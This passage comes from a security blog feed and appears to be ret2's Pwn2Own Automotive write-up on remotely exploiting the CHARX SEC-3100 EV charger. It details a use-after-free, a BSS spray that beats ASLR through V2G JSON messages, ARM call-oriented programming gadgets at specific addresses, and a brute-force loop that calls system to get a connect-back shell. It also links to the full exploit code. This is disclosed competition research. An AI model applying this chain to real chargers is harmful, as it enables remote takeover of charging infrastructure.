    
&lt;/div&gt;

&lt;p&gt;The next logical step is to find some large structure(s) in the BSS that can hold these fake objects.&lt;/p&gt;

&lt;p&gt;Closer inspection revealed that over 80% of the BSS belonged to a structure &lt;code class=&quot;highlighter-rouge&quot;&gt;V2GMessageReqMsg&lt;/code&gt;, with a size of over &lt;code class=&quot;highlighter-rouge&quot;&gt;0x167000&lt;/code&gt; bytes. This structure holds the most recently parsed TCP JSON message with operation &lt;code class=&quot;highlighter-rouge&quot;&gt;v2gMessage&lt;/code&gt;. So how much of this structure can we control?&lt;/p&gt;

&lt;h2 id=&quot;populating-the-v2g-structure&quot;&gt;Populating the V2G Structure&lt;/h2&gt;

&lt;p&gt;V2G (&lt;a href=&quot;https://en.wikipedia.org/wiki/Vehicle-to-grid&quot;&gt;vehicle-to-grid&lt;/a&gt;) is a protocol related to electric vehicles selling power back to the grid,
and the JSON messaging expects keys like &lt;code class=&quot;highlighter-rouge&quot;&gt;salesTariff&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;consumptionCost&lt;/code&gt;. This structure contains several arrays within sub-structures, which in turn contain other arrays.
These nested arrays explain the structure’s large size.&lt;/p&gt;

&lt;p&gt;Since this structure is intended to be populated from user input (over TCP), many of the fields can be controlled. However, each fake object must use controllable fields all at the same page offset,
which introduces significant constraints. The sub-structures are not of an aligned size, so an easily controllable field in one page may be impossible to control in the next page.
Similarly, 8 bytes may be controlled in one page, but only 4 in others, etc.&lt;/p&gt;

&lt;p&gt;To relax the constraints somewhat, we’ll have fake objects of &lt;strong&gt;only 4 bytes&lt;/strong&gt;. In other words, each fake object is &lt;strong&gt;solely a vtable&lt;/strong&gt;.
Each of these vtables could then point into unconstrained “raw” buffers for TCP / UDP / HomePlug packet input.&lt;/p&gt;

&lt;p&gt;Accommodating these constraints means only being able to use certain fields for our V2G JSON input message. We end up crafting a message looking something like the JSON blob below, where the &lt;code class=&quot;highlighter-rouge&quot;&gt;{&quot;&quot;: 0}&lt;/code&gt; objects are padding to advance to the next page:&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/pwn2own_auto24_charx_v2g_population.svg&quot; data-lightbox=&quot;pwn2own_auto24_charx_v2g_population.svg&quot; data-title=&quot;&quot;&gt;
    
      &lt;img src=&quot;/assets/img/pwn2own_auto24_charx_v2g_population.svg&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;&lt;/p&gt;
    
&lt;/div&gt;

&lt;p&gt;In this way, we were able to populate fake objects in 83 pages, accounting for 83 of the 256 possible ASLR slides. That gives our exploit a probability close to 1 in 3 for bypassing ASLR, a huge improvement over a naive brute force of 1 in 256.&lt;/p&gt;

&lt;p&gt;The V2G messaging required some other initialization to take place after program startup, so each brute force iteration takes longer waiting for setup to complete, resulting in ~15 seconds per iteration. That said, the enhanced probability is well worth the per-iteration slowdown.&lt;/p&gt;

&lt;h2 id=&quot;cop-chain&quot;&gt;COP Chain&lt;/h2&gt;

&lt;p&gt;The increased probability of having our fake object at the guessed address is great, but we’ve also restricted ourselves to a fake object with just a vtable and no additional payload. Our primitive has evolved from a simple UAF into an arbitrary virtual call, but with only 4 controlled bytes at the “this” argument.&lt;/p&gt;

&lt;p&gt;To turn this into full code execution, we’ll use a sequence of COP (call-oriented programming) gadgets, to eventually achieve an arbitrary call with an arbitrary argument.&lt;/p&gt;

&lt;p&gt;We start with control of &lt;code class=&quot;highlighter-rouge&quot;&gt;r0&lt;/code&gt; and the 4 bytes within (the vtable of the fake object). We jump into the following gadget (where we really only care about the highlighted instructions):&lt;/p&gt;

&lt;div style=&quot;overflow-x: auto; border: 1px solid #444; padding: 1rem; color: rgb(204, 204, 204); background-color: rgb(31, 31, 31); font-family: Consolas, &amp;quot;Courier New&amp;quot;, monospace; font-size: 14px; line-height: 19px; white-space: pre;&quot;&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x498148&lt;/span&gt;: &amp;nbsp; &amp;nbsp;&lt;span style=&quot;background-color:#444&quot;&gt;&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;mov&lt;/span&gt; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;r4&lt;/span&gt;, &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;r0&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x49814a&lt;/span&gt;: &amp;nbsp; &amp;nbsp;&lt;span style=&quot;background-color:#444&quot;&gt;&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;ldr&lt;/span&gt; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;r7&lt;/span&gt;, &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;[r0, &lt;/span&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;#0&lt;/span&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x49814c&lt;/span&gt;: &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;mov&lt;/span&gt; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;r5&lt;/span&gt;, &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;r1&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x49814e&lt;/span&gt;: &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;mov&lt;/span&gt; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;r6&lt;/span&gt;, &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;r2&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x498150&lt;/span&gt;: &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;mov&lt;/span&gt; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;r1&lt;/span&gt;, &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;r3&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x498152&lt;/span&gt;: &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;ldr&lt;/span&gt; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;r2&lt;/span&gt;, &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;[sp, &lt;/span&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;#24&lt;/span&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;]&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x498154&lt;/span&gt;: &amp;nbsp; &amp;nbsp;&lt;span style=&quot;background-color:#444&quot;&gt;&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;ldr&lt;/span&gt; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;r3&lt;/span&gt;, &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;[r7, &lt;/span&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;#20&lt;/span&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x498156&lt;/span&gt;: &amp;nbsp; &amp;nbsp;&lt;span style=&quot;background-color:#444&quot;&gt;&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;blx&lt;/span&gt; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;r3&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;
This gadget essentially does &lt;code class=&quot;highlighter-rouge&quot;&gt;mov r4, r0&lt;/code&gt;, then transfers control to a different vtable function (the next gadget). This next gadget will be:&lt;/p&gt;

&lt;div style=&quot;overflow-x: auto; border: 1px solid #444; padding: 1rem; color: rgb(204, 204, 204); background-color: rgb(31, 31, 31); font-family: Consolas, &amp;quot;Courier New&amp;quot;, monospace; font-size: 14px; line-height: 19px; white-space: pre;&quot;&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x4a32ea&lt;/span&gt;: &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;ldr&lt;/span&gt; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;r0&lt;/span&gt;, &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;[r4, &lt;/span&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;#0&lt;/span&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;]&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x4a32ec&lt;/span&gt;: &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;ldr&lt;/span&gt; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;r3&lt;/span&gt;, &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;[r0, &lt;/span&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;#0&lt;/span&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;]&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x4a32ee&lt;/span&gt;: &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;ldr&lt;/span&gt; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;r3&lt;/span&gt;, &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;[r3, &lt;/span&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;#8&lt;/span&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;]&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x4a32f0&lt;/span&gt;: &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;blx&lt;/span&gt; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;r3&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;
This gadget dereferences &lt;code class=&quot;highlighter-rouge&quot;&gt;r4&lt;/code&gt;, and treats the value as a C++ object, dispatching a virtual call. In combination with the previous gadget, we’ve essentially done a simple dereference &lt;code class=&quot;highlighter-rouge&quot;&gt;r0 = *r0&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Crucially, this will treat what was previously the fake vtable, as a full-blown 2nd fake object. Since this 2nd fake object will be in an unconstrained buffer, we now have an arbitrary virtual call with a fully-controlled “this” argument (containing arbitrary fields).&lt;/p&gt;

&lt;p&gt;From here, we’ll trigger the &lt;code class=&quot;highlighter-rouge&quot;&gt;mov r4, r0&lt;/code&gt; gadget once more, before jumping into our final gadget, which is part of a function that loops over an array of function pointer / argument pairs. The gadget is a bit longer, but we’ve highlighted the path from &lt;code class=&quot;highlighter-rouge&quot;&gt;r4&lt;/code&gt; control to the function pointer invocation:&lt;/p&gt;

&lt;div style=&quot;overflow-x: auto; border: 1px solid #444; padding: 1rem; color: rgb(204, 204, 204); background-color: rgb(31, 31, 31); font-family: Consolas, &amp;quot;Courier New&amp;quot;, monospace; font-size: 14px; line-height: 19px; white-space: pre;&quot;&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x458d12&lt;/span&gt;: &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;ldrh&lt;/span&gt; &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;r1&lt;/span&gt;, &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;[r4, &lt;/span&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;#8&lt;/span&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;]&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x458d14&lt;/span&gt;: &amp;nbsp; &amp;nbsp;&lt;span style=&quot;background-color:#444&quot;&gt;&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;ldr&lt;/span&gt; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;r3&lt;/span&gt;, &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;[r4, &lt;/span&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;#4&lt;/span&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x458d16&lt;/span&gt;: &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;ldr&lt;/span&gt; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;r4&lt;/span&gt;, &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;[sp, &lt;/span&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;#0&lt;/span&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;]&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x458d18&lt;/span&gt;: &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;cbnz&lt;/span&gt; &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;r1&lt;/span&gt;, &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x458d24&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x458d1a&lt;/span&gt;: &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;b&lt;/span&gt;.&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;n&lt;/span&gt; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x458d06&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x458d1c&lt;/span&gt;: &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;subs&lt;/span&gt; &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;r1&lt;/span&gt;, &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;#1&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x458d1e&lt;/span&gt;: &amp;nbsp; &amp;nbsp;&lt;span style=&quot;background-color:#444&quot;&gt;&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;add&lt;/span&gt;.&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;w&lt;/span&gt; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;r3&lt;/span&gt;, &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;r3&lt;/span&gt;, &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;#16&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x458d22&lt;/span&gt;: &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;beq&lt;/span&gt;.&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;n&lt;/span&gt; &amp;nbsp; &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x458d06&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x458d24&lt;/span&gt;: &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;ldrd&lt;/span&gt; &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;r2&lt;/span&gt;, &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;r0&lt;/span&gt;, [&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;r3&lt;/span&gt;]&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x458d28&lt;/span&gt;: &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;eors&lt;/span&gt; &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;r2&lt;/span&gt;, &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;r4&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x458d2a&lt;/span&gt;: &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;tst&lt;/span&gt; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;r2&lt;/span&gt;, &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;r0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x458d2c&lt;/span&gt;: &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;bne&lt;/span&gt;.&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;n&lt;/span&gt; &amp;nbsp; &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x458d1c&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x458d2e&lt;/span&gt;: &amp;nbsp; &amp;nbsp;&lt;span style=&quot;background-color:#444&quot;&gt;&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;ldr&lt;/span&gt; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;r2&lt;/span&gt;, &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;[r3, &lt;/span&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;#12&lt;/span&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x458d30&lt;/span&gt;: &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;cmp&lt;/span&gt; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;r2&lt;/span&gt;, &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;#0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x458d32&lt;/span&gt;: &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;beq&lt;/span&gt;.&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;n&lt;/span&gt; &amp;nbsp; &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x458d06&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x458d34&lt;/span&gt;: &amp;nbsp; &amp;nbsp;&lt;span style=&quot;background-color:#444&quot;&gt;&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;ldr&lt;/span&gt; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;r0&lt;/span&gt;, &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;[r3, &lt;/span&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;#8&lt;/span&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x458d36&lt;/span&gt;: &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;mov&lt;/span&gt; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;r1&lt;/span&gt;, &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;r6&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x458d38&lt;/span&gt;: &amp;nbsp; &amp;nbsp;&lt;span style=&quot;background-color:#444&quot;&gt;&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;blx&lt;/span&gt; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;r2&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;
We end up with an arbitrary call with an arbitrary first argument, which we can simply direct to &lt;code class=&quot;highlighter-rouge&quot;&gt;system&lt;/code&gt; (which is already present in the PLT) to spawn a connect-back shell.&lt;/p&gt;

&lt;p&gt;To sum up the COP chain:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;“bootstrap” from fake vtable into fully-controlled 2nd fake object, using &lt;code class=&quot;highlighter-rouge&quot;&gt;r0 = *r0&lt;/code&gt; gadget pair
    &lt;ul&gt;
      &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;mov r4, r0&lt;/code&gt; gadget followed by&lt;/li&gt;
      &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;ldr r0, [r4]&lt;/code&gt; gadget&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;call &lt;code class=&quot;highlighter-rouge&quot;&gt;system&lt;/code&gt; using gadget accepting function pointer / argument structure
    &lt;ul&gt;
      &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;mov r4, r0&lt;/code&gt; gives &lt;code class=&quot;highlighter-rouge&quot;&gt;r4&lt;/code&gt; control&lt;/li&gt;
      &lt;li&gt;next gadget fetches function pointer / argument from &lt;code class=&quot;highlighter-rouge&quot;&gt;r4&lt;/code&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;constructing-fake-objects&quot;&gt;Constructing Fake Objects&lt;/h2&gt;

&lt;p&gt;We have a path from fake 4-byte object to 2nd fake object to &lt;code class=&quot;highlighter-rouge&quot;&gt;system&lt;/code&gt;, but it is worth noting that each of these 2nd fake objects must exist separately, one for each ASLR slide.
Each 2nd fake object must have different vtable pointers, gadget addresses, commandline-for-system string argument addresses, etc…&lt;/p&gt;

&lt;p&gt;The 2nd fake objects will be spread out across 3 “raw” buffers:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;TCP input&lt;/li&gt;
  &lt;li&gt;UDP broadcast input&lt;/li&gt;
  &lt;li&gt;HomePlug packet input&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The received UDP input and HomePlug packets are completely raw, but the TCP buffer undergoes some string processing, namely the messages are newline-delimited. This is not fundamentally restrictive, but
requires additional iterations to embed null bytes (similar to the &lt;code class=&quot;highlighter-rouge&quot;&gt;std::string&lt;/code&gt; behavior), and the payload can’t contain newlines.&lt;/p&gt;

&lt;p&gt;With all the payloads in place, we end up with something conceptually like this:&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/pwn2own_auto24_charx_bss_spray.svg&quot; data-lightbox=&quot;pwn2own_auto24_charx_bss_spray.svg&quot; data-title=&quot;&quot;&gt;
    
      &lt;img src=&quot;/assets/img/pwn2own_auto24_charx_bss_spray.svg&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
&lt;/div&gt;

&lt;p&gt;Depending on the ASLR slide, only one (or none) of the fake object pairs will actually be at the right addresses, so only one set of arrows shown would be valid at once.&lt;/p&gt;

&lt;h2 id=&quot;putting-everything-together&quot;&gt;Putting Everything Together&lt;/h2&gt;

&lt;p&gt;With a strategy defined, implementing the exploit becomes wrapping everything in the necessary brute force logic.&lt;/p&gt;

&lt;p&gt;To recap the exploit flow in one place, we perform the following steps in a loop:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Wait for the agent to perform V2G-prerequisite initialization&lt;/li&gt;
  &lt;li&gt;Use a config value &lt;code class=&quot;highlighter-rouge&quot;&gt;std::string&lt;/code&gt; to craft a fake list node&lt;/li&gt;
  &lt;li&gt;Populate &lt;code class=&quot;highlighter-rouge&quot;&gt;V2GMessageReqMsg&lt;/code&gt; in the BSS with many fake objects
    &lt;ul&gt;
      &lt;li&gt;each is at the same page offset, and only 4 bytes for a vtable&lt;/li&gt;
      &lt;li&gt;each vtable points at a 2nd fake object in a raw buffer&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Populate raw BSS buffers with 2nd fake objects (TCP / UDP / HomePlug packets)&lt;/li&gt;
  &lt;li&gt;Trigger HomePlug null deref to kick off exit handlers (&lt;code class=&quot;highlighter-rouge&quot;&gt;ControllerAgent&lt;/code&gt; destructor)&lt;/li&gt;
  &lt;li&gt;Config value with fake list node is freed into tcache&lt;/li&gt;
  &lt;li&gt;List destructor frees list nodes
    &lt;ul&gt;
      &lt;li&gt;head node’s next pointer overwritten with next tcache pointer, the fake list node&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;ClientConnectionManagerTcp&lt;/code&gt; destructor ends up invoking UAF list traversal
    &lt;ul&gt;
      &lt;li&gt;UAF list traversal uses guessed fake object pointer in crafted fake list node&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Hijacked virtual call on guessed fake object address
    &lt;ul&gt;
      &lt;li&gt;if ASLR slide was accounted for, address will be valid, otherwise will crash&lt;/li&gt;
      &lt;li&gt;enter COP chain invoking &lt;code class=&quot;highlighter-rouge&quot;&gt;system&lt;/code&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Check for connect-back shell, otherwise wait for service to restart and repeat&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;With the BSS spray technique giving an 83 in 256 probability of success, and roughly 15 seconds required for each iteration attempt, the average / expected runtime for the exploit is under a minute.&lt;/p&gt;

&lt;p&gt;For reference, you can find the full exploit code &lt;a href=&quot;https://github.com/ret2/Pwn2Own-Auto-2024-CHARX&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;</content><author><name>Jack Dates</name></author><summary type="html">Our previous post explored some of the bugs we discovered in the CHARX SEC-3100 ControllerAgent service for Pwn2Own Automotive. We’ll now walk through how these bugs were weaponized to produce a fully remote exploit. We left off with a use-after-free (UAF) primitive. Notably however, the UAF occurs on process teardown (a “one-shot” style bug), and we don’t have any information leaks to easily deal with ASLR (address space layout randomization). If you want to try exploiting a similar bug on your own, we’ve hosted a challenge with an adapted version of the same bug pattern on our in-browser WarGames platform here.</summary></entry><entry><title type="html">Pwn2Own Automotive: CHARX Vulnerability Discovery</title><link href="https://blog.ret2.io/2024/07/17/pwn2own-auto-2024-charx-bugs/" rel="alternate" type="text/html" title="Pwn2Own Automotive: CHARX Vulnerability Discovery" /><published>2024-07-17T10:00:00+00:00</published><updated>2024-07-17T10:00:00+00:00</updated><id>https://blog.ret2.io/2024/07/17/pwn2own-auto-2024-charx-bugs</id><content type="html" xml:base="https://blog.ret2.io/2024/07/17/pwn2own-auto-2024-charx-bugs/">&lt;p&gt;The first &lt;a href=&quot;https://www.zerodayinitiative.com/blog/2023/8/28/revealing-the-targets-and-rules-for-the-first-pwn2own-automotive&quot;&gt;Pwn2Own Automotive&lt;/a&gt; introduced an interesting category of targets: electric vehicle chargers. This post will detail some of our research on the Phoenix Contact &lt;a 